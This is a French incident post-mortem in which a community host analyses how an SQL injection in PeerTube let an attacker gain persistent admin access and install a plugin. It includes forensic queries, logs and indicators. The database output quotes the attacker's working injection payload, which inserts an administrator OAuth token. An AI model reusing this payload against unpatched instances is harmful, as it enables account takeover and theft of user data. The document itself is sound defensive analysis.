Mise à jour PeerTube v8.1.8 et post-mortem
Samedi PeerTube a publié la version v8.1.8, qui prend des mesures complémentaires suite à l'exploitation de la SQLi corrigée en v8.1.6 et la persistence d'au moins un acteur malveillant sur un grand nombre d'instances PeerTube.
D'abord grand merci à Framasoft et Chocobozzz en particulier, pour la communication rapide, claire et transparente.
TL;DR : un acteur malveillant a pu accéder en tant qu'administrateur à notre instance PeerTube. Si vous utilisez l'instance, il est possible que votre identifiant, adresse e-mail et mot-de-passe PeerTube aient été collectés, ainsi que les informations privées de votre profil et compte. Il est indispensable au minimum de renouveler votre mot de passe PeerTube et de le considérer compromis si vous l'employez ailleurs. Ni notre infrastructure, ni nos autres services ne sont compromis d'après notre analyse.
Déroulé et synthèse
- Le 20/12/2018, le commit 2f5c6b2fc6e60502c2a8df4dc9029c1d87ebe30b a introduit une vulnérabilité de type SQLi (injection SQL) dans PeerTube
- Le 18/05/2026, cette vulnérabilité est exploitée par un acteur malveillant non identifié, il obtient un accès administrateur à notre instance et persiste son accès (jeton d'API)
- Le 19/05/2026, l'acteur malveillant teste le bon fonctionnement de son accès
- Le 20/05/2026, le commit cc07364a5d635b6e43a92fc5e2e2e3eeacf4e8f4 et la publication de la version 8.1.6 corrigent cette vulnérabilité upstream
- Le 20/05/2026, l'acteur malveillant teste le bon fonctionnement de son accès
- Le 21/05/2026, nous mettons à jour notre instance PeerTube en version 8.1.6, corrigeant la vulnérabilité mais ne révoquant pas l'accès persistant
- Le 22/05/2026, l'acteur malveillant utilise son accès pour déployer un nouveau plugin sur notre instance PeerTube, lequel ne semble pas opérer d'action malveillante supplémentaire
- Le 23/05/2026, PeerTube annonce avoir détecté une campagne d'intrusion exploitant la SQLi corrigée plus tôt, et publie la version 8.1.8 qui force des mesures de remédiation
- Le 24/05/2026, nous confirmons être victime de la campagne, nous décidons de stopper l'instance PeerTube pour analyser en détails
- Le 25/05/2026, nous estimons que le risque d'intrusion dépassant PeerTube est faible, en accord avec l'analyse publiée par Chocobozzz, et avisons comment communiquer
- Le 26/05/2026, nous communiquons cet article, rétablissons l'instance et déployons les mesures complémentaires
Les composants techniques compromis : notre instance PeerTube a été compromise, un accès persistant administrateur a été déployé et un plugin malveillant a été installé, ainsi que ses dépendances.
L'acteur impliqué : un acteur malveillant ayant opéré la compromission vraisemblable de plusieurs centaines d'instances PeerTube, sans revandication à notre connaissance, et sans divulgation de données personnelles à notre connaisance.
L'impact pour TeDomum : compromission complète de l'instance PeerTube, qui doit être dépolluée avant d'être remise en ligne.
L'impact pour vous : compromission possible de vos informations personnelles (association du nom d'utilisateur, adresse e-mail et mot-de-passe, y-compris potentiellement en clair si vous avez employé PeerTube entre le 18/05/2026 et le 24/05/2026).
Les mesures prises par TeDomum : déploiement des correctifs proposés par PeerTube, analyse complète de l'instance, analyse superficielle du serveur plus largement, révocation de tous les jetons d'authentification et rotation des mots de passe des administrateurices.
Références : – Chocobozzz confirme que toutes les versions antérieures sont vulnérables : https://github.com/Chocobozzz/PeerTube/issues/7622 – La brève discussion associée sur le forum CHATONs : https://forum.chatons.org/t/failles-sur-peertube/8522/2 – L'analyse publique d'une autre instance PeerTube : https://www.sarahgebauer.com/post/peertube-vulnerability-notes/
Scénario documenté
Dans le commit cc07364a5d635b6e43a92fc5e2e2e3eeacf4e8f4, Chocobozzz corrige deux fonctions possiblement vulnérables à une injection SQL. D'après le Changelog, le codepath de updateScore semble être celui exploitable.
Le code en question avait été introduit au début du projet en 2018 dans le commit https://github.com/Chocobozzz/PeerTube/commit/2f5c6b2fc6e60502c2a8df4dc9029c1d87ebe30b.
Le scénario décrit dans les release notes de la v8.1.8 aurait consisté à présenter une URL d'inbox exploitant l'injection SQL, pour exécuter d'autres instructions dans la transaction SQL, comme l'insertion d'un jeton OAuth d'API avec accès administrateur. Le jeton aurait ensuite été employé via l'API pour installer un plugin malveillant nommé peertube-plugin-google-analytics-js.
Le code du plugin analysé impliquerait le chargement d'une ressource JS externe. Il est difficile de qualifier son comportement : la version servie pendant l'analyse se contentait d'afficher un log dans la console navigateur mais d'autres versions ont pu être servies en fonction du client.
Outre la suppression du plugin des dépôts de PeerTube, le correctif additionnel de la v8.1.8 consiste à :
- désactiver automatiquement le plugin
- logout tous les OAuth pour forcer un nouveau login
- ajouter une option pour empêcher l'utilisation de l'API en tant que compte administrateur
Confirmation de l'exploitation
Sommes-nous concernés ? oui (requête fournie dans les release notes PeerTube, recherche l'IP de l'acteur malveillant connu).
# SELECT * FROM "actorFollow" WHERE "url" LIKE '%20.240.202.159%';
-[ RECORD 1 ]-+----------------------------------------------------------------------
id | 4739
state | accepted
score | 1000
actorId | 1152554
targetActorId | 2
createdAt | 2026-05-18 18:47:48.222+00
updatedAt | 2026-05-18 18:47:48.222+00
url | http://20.240.202.159:8777/users/audit<snip>/follows/<snip>
L'insertion de l'acteur donc le début de l'intrusion date du 18/05/2026, il y a une semaine. Nous n'avons donc plus beaucoup de logs ou métriques utiles à exploiter.
L'adversaire a-t-il tenté une exploitation ? oui (requête fournie dans les release notes PeerTube, recherche le pattern permettant l'exploitation SQLi par l'acteur malveillant identifié).
# SELECT count(*) FROM "actor" WHERE "inboxUrl" LIKE '%''%';
id | 1152554
type | Person
preferredUsername | audit<snip>
url | http://20.240.202.159:8777/users/audit<snip>
followersCount | 0
followingCount | 1
inboxUrl | http://20.240.202.159:8777/x');DO/**/$f$/**/DECLARE/**/uid/**/INT;/**/cid/**/INT;/**/BEGIN
/**/EXECUTE/**/'SELECT/**/id/**/FROM/**/'||quote_ident('user')||'/**/WHERE/**/role=0/**/LIMIT/**/1'/**/INTO/**
/uid;/**/EXECUTE/**/'SELECT/**/id/**/FROM/**/'||quote_ident('oAuthClient')||'/**/LIMIT/**/1'/**/INTO/**/cid;/*
*/EXECUTE/**/'INSERT/**/INTO/**/'||quote_ident('oAuthToken')||'('||quote_ident('accessToken')||','||quote_iden
t('refreshToken')||','||quote_ident('accessTokenExpiresAt')||','||quote_ident('refreshTokenExpiresAt')||','||q
uote_ident('userId')||','||quote_ident('oAuthClientId')||','||quote_ident('createdAt')||','||quote_ident('upda
tedAt')||')/**/VALUES('||quote_literal('pt_audit_<snip>')||','||quote_literal('refresh_pt_audit_<snip>')||','||quote_literal('2030-01-01')||','||quote_literal('2030-01-01')||','||uid||','||cid||',NOW(),NOW())
';/**/END/**/$f$;--
outboxUrl | http://20.240.202.159:8777/users/audit<snip>/outbox
sharedInboxUrl |
followersUrl | http://20.240.202.159:8777/users/audit<snip>/followers
followingUrl | http://20.240.202.159:8777/users/audit<snip>/following
serverId | 5750
createdAt | 2026-05-18 18:47:48.203+00
updatedAt | 2026-05-18 18:47:48.228+00
L'URL d'inbox utilisée pour l'exploitation suit effectivement le scénario décrit dans les release notes (insertion d'un nouveau jeton OAuth pour le compte administrateur).
Au moins un token a effectivement été créé pour le compte admin à 19h08 lorsque la fonction vulnérable est exécutée sur l'acteur.
# SELECT * FROM "oAuthToken" WHERE "lastActivityIP" = '20.240.202.159';
-[ RECORD 1 ]---------+------------------------------
id | 10501
accessToken | pt_audit_<snip>
accessTokenExpiresAt | 2030-01-01 00:00:00+00
refreshToken | refresh_pt_audit_<snip>
refreshTokenExpiresAt | 2030-01-01 00:00:00+00
userId | 490
oAuthClientId | 1
createdAt | 2026-05-18 19:08:04.716427+00
updatedAt | 2026-05-22 21:03:43.054+00
authName |
loginDevice |
loginIP |
lastActivityDevice | curl/8.5.0
lastActivityIP | 20.240.202.159
loginDate |
lastActivityDate | 2026-05-22 21:02:52.293+00
Approfondissement du scénario
Le scénario décrit est celui qui a été observé à l'échelle par Framasoft et l'équipe de PeerTube. Ce n'est toutefois pas la seule variante que nous souhaitons considérer.
Première variante envisagée : la distribution via le plugin malveillant d'un JavaScript conditionné par le client (son IP ou son User-Agent) en vue de compromettre son accès à PeerTube ou son navigateur. Le gain pour l'adversaire serait toutefois marginal car il dispose déjà d'un accès administrateur. On néglige donc ce scénario, supposant que le plugin a pu servir à collecter des métadonnées sur les visiteurices, sans pour autant augmenter la surface compromise.
Autre variante : l'acteur malveillant ou un autre acteur au cours des derniers mois a pu exploiter la vulnérabilité, obtenir un accès shell, profiter des vulnérabilités Linux en cours pour élever ses privilèges sur notre serveur et effacer ses traces. Vu la durée de conservation de nos logs et le possible effacement volontaire, il est impossible d'écarter complètement cette variante. On cherche toutefois à identifier des points de contrôle pour se rassurer sur le réel niveau de compromission.
Pour réaliser un tel scénario, il aurait fallu :
- exploiter la SQLi pour obtenir tout accès à PeerTube, par exemple à l'API comme dans le scénario documenté
- employer l'accès à PeerTube pour rebondir et obtenir un accès shell, dans notre cas au sein du conteneur Docker qui exécute PeerTube, ou dans un autre conteneur accédé par PeerTube (base de données, cache Redis, les workers pourraient être concernés mais nous n'en avons pas déployé)
- exploiter l'une des récentes vulnérabilités permettant l'élévation de privilèges sous Linux, par exemple DirtyFrag dont le correctif n'est pas encore déployé sur le serveur qui héberge PeerTube.
Le 1 est acquis, on s'attend à inspecter différents logs et tables de PeerTube pour détecter des indicateurs. Le 3 est trivial une fois le 2 obtenu, on se prépare à rechercher les indicateurs habituels de LPE, et ceux spécifiques aux vulnérabilités récentes.
Le 2 est plus intéressant : a. la configuration de notre serveur PostgreSQL ne permet pas à un PeerTube compromis d'y exécuter du code b. la configuration de notre serveur Redis ne permet pas à un PeerTube compromis d'y exécuter du code c. l'API de PeerTube permet d'installer des plugins, qui pourraient exécuter du code arbitraire et malveillant bien que ce ne fut pas le cas dans le plugin détecté par Framasoft d. l'API de PeerTube et l'accès à la base de données permettent de gérer des tâches, notamment de transcodage, qui font appel à des outils en ligne de commande et pourraient offrir un shell e. l'API de PeerTube permet de mettre à jour la configuration de l'application, ce qui pourrait mener à un accès shell.
Une revue de la structure de la configuration telle qu'elle est mise à jour via l'API ne révèle aucun paramètre susceptible de fournir un shell, éliminant le scénario 2e. Une revue des API de gestion de tâches ne révèle pas d'opportunité d'exécuter du code arbitraire même avec un accès administrateur, éliminant le scénario 2d.
Le 2c peut-être joué en installant un plugin maîtrisé par l'acteur malveillant. La principale contrainte s'imposant pour les plugins PeerTube installés depuis NPM est une règle de nommage : le nom du plugin doit débuter par peertube-plugin- ou peertube-theme. Un plugin malveillant installable via l'API devrait donc être publié sur NPM et nommé en respectant la convention, c'est facile à rechercher sur NPM et dans les logs techniques de PeerTube.
Indicateurs de l'étape 1
On a établi en début d'analyse qu'une injection avait été réussie et avait permis la création d'un jeton administrateur le 18/05/2026 à 19h08, observé en BDD.
On dispose d'une copie de la base de données, telle que sauvegardée le 20/05/2026 et les modifications individuelles (log de transactions) depuis. Ces données nous permettent de confirmer que le compte était bien présent dès le 20/05/2026, que la configuration n'a pas été éditée, et que seul un plugin a été activé en BDD après le 20/05/2026.
Aucune autre activité suspecte n'a été identifiée dans le trafic SQL. On exclut donc une nouvelle exploitation de la SQLi et/ou nettoyage des traces en BDD depuis le 20/05/2026.
On dispose d'une copie des logs techniques depuis le 18/05/2026 à 20h, mais aucun log antérieur en raison de la politique de conservation. Le compte créé par exploitation de la vulnérabilité est antérieur de quelques minutes et nous n'avons donc pas pu observer le log de création. Ce compte génère des logs les 18, 19 et 20 : le 18 lié à un post émis par l'instance malveillante, le 19 et le 20 pour vérifier la validité du token créé.
peertube165.log:{"tags":["http"],"level":"info","message":"20.240.202.159 - - [18/May/2026:21:44:42 +0000] \"POST /inbox HTTP/1.1\" 403 109 \"-\" \"curl/8.5.0\"","label":"video.tedomum.net:443","timestamp":"2026-05-18T21:44:42.332Z"}
peertube171.log:{"tags":["http"],"level":"info","message":"20.240.202.159 - - [19/May/2026:15:54:04 +0000] \"GET /api/v1/users/me HTTP/1.1\" 200 5506 \"-\" \"curl/8.5.0\"","label":"video.tedomum.net:443","timestamp":"2026-05-19T15:54:04.293Z"}
peertube177.log:{"tags":["http"],"level":"info","message":"20.240.202.159 - - [20/May/2026:14:52:00 +0000] \"GET /api/v1/users/me HTTP/1.1\" 200 5506 \"-\" \"curl/8.5.0\"","label":"video.tedomum.net:443","timestamp":"2026-05-20T14:52:00.936Z"}
Pour écarter la piste d'autres exploitations par le même acteur, on teste : – l'occurrence de l'adresse IP dans les logs et en BDD, sans nouveau résultat ; – l'occurrence du user agent dans les logs et en BDD, sans nouveau résultat pertinent ; – l'occurrence d'appels notables et réguliers aux mêmes APIs, sans résultat.
Pour détecter des tentatives d'autres acteurs malveillants, on recherche d'abord les acteurs ActivityPub dont l'URL d'inbox est anormalement longue plutôt que la présence spécifique d'un simple quote : aucun nouveau résultat.
# SELECT id, type, "preferredUsername", "inboxUrl" FROM "actor" WHERE length("inboxUrl") > 100 LIMIT 20;
Afin d'écarter l'hypothèse d'un nettoyage de la BDD après une intrusion, on s'assure que les identifiants des serveurs fédérés avec notre instance sont bien consécutifs (pas de trous).
peertube=# SELECT x.n from generate_series(5000, 5752) as x(n) WHERE x.n NOT IN (SELECT "id" from "server");
n
---
(0 rows)
Aucun serveur n'a été supprimé de la fédération, et on peut vérifier manuellement tous les serveurs découverts récemment.
# SELECT * FROM server WHERE <insérer critères> ORDER BY "createdAt" DESC LIMIT 200;
Seul 2 serveurs sont identifiés : le serveur malveillant connu et un serveur légitime après vérification manuelle.
A ce stade de l'analyse, on estime qu'un unique acteur malveillant a exploité correctement la SQLi le 18/05/2026 : celui déjà étudié par Framasoft.
Indicateurs de l'étape 2
On se concentre sur l'utilisation de plugins PeerTube pour accéder à un shell plutôt que le plugin en apparence inoffensif décrit dans les release notes.
Seuls 2 plugins installés depuis le début de l'année sont référencés en BDD, dont 1 connu et installé par un administrateur :
# SELECT id, name, enabled, homepage, "createdAt" FROM "plugin" WHERE "createdAt" > timestamp '2026-01-01';
-[ RECORD 1 ]
id | 61
name | subtitle-editor
enabled | t
homepage | https://codeberg.org/herover/peertube-plugin-subtitle-editor
createdAt | 2026-02-26 20:30:33.082+00
-[ RECORD 2 ]
id | 62
name | google-analytics-js
enabled | t
homepage | https://example.invalid/peertube-plugin-google-analytics-js
createdAt | 2026-05-22 21:02:52.105+00
Comme décrit plus haut, pour être installable par un acteur malveillant, un plugin doit être diffusé sur NPM, avec un nom débutant par peertube-plugin- ou peertube-theme-. 253 packages NPM répondent aujourd'hui à ces critères :
> const names = require("all-the-package-names")
> names.filter(name => name.startsWith("peertube-plugin-")).length
192
> names.filter(name => name.startsWith("peertube-theme-")).length
61
On profite de l'excellent all-the-package-names pour comparer entre deux dates et ne s'intéresser qu'aux plugins publiés depuis le début d'année :
peertube-plugin-emailwhitelist
peertube-plugin-embed-error-events
peertube-plugin-google-analytics-js
peertube-plugin-hcaptcha-plusre
peertube-plugin-lunacode-vaapi
peertube-plugin-odysee-player
peertube-plugin-playlist-page-embed
peertube-plugin-premium-channels
peertube-plugin-premium-members
peertube-plugin-rce-proof
peertube-plugin-sell-storage
peertube-plugin-sidebar-transcript
peertube-plugin-sponsorblock
peertube-plugin-static-review
peertube-plugin-ultimate-transcoding
peertube-plugin-user-group-privacy-enhanced
peertube-plugin-vast-loop-ads
peertube-theme-dracula
peertube-theme-lunacode-98
Parmi les packages actifs dans le node_modules du déploiement PeerTube, seul celui déjà analysé par Framasoft est effectivement présent :
# ls node_modules/ | grep peertube-
peertube-plugin-google-analytics-js
peertube-plugin-subtitle-editor
<snip>
Le plugin en question est publié sur NPM pour la première fois le 22/05/2026. Il ne présente qu'une version dont le nombre de téléchargements (1399 le 25/06/2026) fournit une idée de l'ampleur de l'exploitation : https://www.npmjs.com/package/peertube-plugin-google-analytics-js?activeTab=versions.
L'installation sur notre instance date effectivement du 22/05/2026 à 21h02, soit 15 minutes après la publication, probablement par un automate :
# ls -lahd node_modules/peertube-plugin-google-analytics-js/
drwxr-xr-x 3 systemd-coredump systemd-coredump 4.0K May 22 21:02 node_modules/peertube-plugin-google-analytics-js/
La version installée sur notre instance est conforme à celle distribuée sur NPM. Le plugin ne déclare pas de dépendance qui aurait pu masquer du code malveillant.
{
"name": "peertube-plugin-google-analytics-js",
"version": "0.0.1",
"description": "Inject Google Analytics tracking script into every PeerTube page.",
"engine": {
"peertube": ">=8.0.0"
},
"keywords": [
"peertube",
"plugin",
"analytics",
"google-analytics",
"gtag"
],
"homepage": "https://example.invalid/peertube-plugin-google-analytics-js",
"bugs": "https://example.invalid/peertube-plugin-google-analytics-js/issues",
"author": "",
"license": "MIT",
"library": "./main.js",
"staticDirs": {},
"css": [],
"clientScripts": [
{
"script": "client/common-client-plugin.js",
"scopes": [
"common"
]
}
],
"translations": {},
"private": false
}
Notre analyse est conforme à celle de Framasoft. Il a pu contribuer à la collecte des données concernant les navigateurs d'utilisateurices de notre instance, comme toute ressource JavaScript externe. Il n'a vraisemblablement pas offert à l'acteur malveillant d'accès supplémentaire à l'instance PeerTube ou à nos serveurs.
Indicateurs de l'étape 3
On estime à ce stade qu'il est improbable que l'acteur malveillant ait eu un accès shell permettant une élévation de privilèges. On se contente donc du minimum en terme de vérifications :
- lister les processus toujours actifs, créés depuis le 18/05
- lister les fichiers modifiés depuis le 18/05
- rechercher des erreurs indicatrices dans les journaux système
Aucune de ces vérification n'a relevé d'élément suspect.